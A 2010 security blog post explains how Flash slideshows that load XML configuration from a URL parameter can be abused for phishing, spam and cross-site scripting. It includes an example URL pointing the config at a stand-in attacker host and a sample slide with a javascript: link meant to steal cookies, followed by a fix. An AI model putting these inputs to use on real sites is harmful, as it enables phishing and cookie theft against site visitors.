March 8, 2010 - 21:15 UTC - Tags: rfi flash xss phishing spam
A lot of flash and flex applications use an XML-file for configuration. The XML-file sets up which texts and images to show. However if we don't pay attention, this flash application can be abused for phishing or spam, because the attacker can specify which file to use in the flash - a client-side RFI (
Remote File Inclusion). Luckily this is not as dangerous as server-side RFI, but it's still something you want to avoid.
DisclaimerNow before I continue, I'd like to point that I don't write this in order to make fun of the developer of the apps in question. I write this for educational purposes only.
Example of the problemConsider this real slideshow application. This application takes an XML file on the format:
<slideshow>
<slide>
<image url='someimage.jpg' duration='2' />
</slide>
<slide>
<image url='someimage2.jpg' duration='2' />
</slide>
</slideshow>
This configuration file can be loaded via the parameter
xml_source like this:
<EMBED src="slideshow.swf?xml_source=sample.xml" quality="high" bgcolor="#000000" WIDTH="320"
HEIGHT="240" NAME="slideshow" allowScriptAccess="sameDomain" swLiveConnect="true"
TYPE="application/x-shockwave-flash"
PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
An attacker can abuse this functionality by crafting a url like this:
http://hostname/and/path/to/slideshow.swf?xml_source=http://evilhacker/attack.xml
In this example, this can allow an attacker to show images of his own choosing, which could be spam, adult material or something that could otherwise hurt the target site's reputation. The attacker can send this url to phishing victims, and because the url starts with the target host's hostname, victims may be more likely to open the url. To make manners worse, it could be possible for the attacker to supply javascript behind links:
<slide>
<image url="/slideshow/images/plant0.jpg" />
<draw_text>
<text x="225" y="185" width="70" height="30" align="center" size="12" color="FFFFFF">Javascript</text>
</draw_text>
<link>
<area x="225" y="180" width="70" height="30" url="javascript:...evil javascript..." />
</link>
</slide>
This could allow him to steal cookies or perform other javascript related attacks.
How do I fix it?To fix this problem you need to check the url of the config file before you include it. Typically you would check that the url is relative (starts with a "/") or is pointing to a host that you trust.